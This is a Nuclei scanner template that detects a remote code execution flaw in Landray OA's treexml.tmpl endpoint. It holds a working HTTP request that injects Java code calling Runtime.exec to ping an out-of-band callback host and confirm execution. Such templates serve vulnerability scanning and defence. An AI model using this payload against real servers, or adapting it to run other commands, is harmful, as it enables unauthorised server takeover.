id: landray-oa-treexml-rce

info:
  name: Landray OA Treexml.tmpl - Remote Code Execution
  author: tangxiaofeng7,SleepingBag945
  severity: high
  description: |
    There is a remote command execution vulnerability in Lanling OA treexml.tmpl. An attacker can obtain server permissions by sending a specific request package.
  reference:
    - https://github.com/tangxiaofeng7/Landray-OA-Treexml-Rce/blob/main/landray-oa-treexml-rce.yaml
    - https://vuls.info/PeiQi/wiki/oa/%E8%93%9D%E5%87%8COA/%E8%93%9D%E5%87%8COA%20treexml.tmpl%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E/#_4
  classification:
    cpe: cpe:2.3:a:landray:landray_office_automation:*:*:*:*:*:*:*:*
    cwe-id: CWE-78,CWE-94
  metadata:
    verified: true
    max-request: 1
    vendor: landray
    product: landray_office_automation
    fofa-query: app="Landray-OA系统"
  tags: landray,oa,treexml,rce,vuln

http:
  - raw:
      - |
        POST /data/sys-common/treexml.tmpl HTTP/1.1
        Host: {{Hostname}}
        Pragma: no-cache
        Content-Type: application/x-www-form-urlencoded

        s_bean=ruleFormulaValidate&script=try {String cmd = "ping {{interactsh-url}}";Process child = Runtime.getRuntime().exec(cmd);} catch (IOException e) {System.err.println(e);}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: body
        words:
          - "<RestResponse><success>"
          - "<confirm>"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a00463044022067767ae512fbcdc91b9d30afd5ab389813d30bff5b490c4b8c0fe3d59c39010702207c8e6a28d4d5b9382ede0f9babc9cec08001005d529c9e081d41e912db82441a:922c64590222798bb761d5b6d8e72950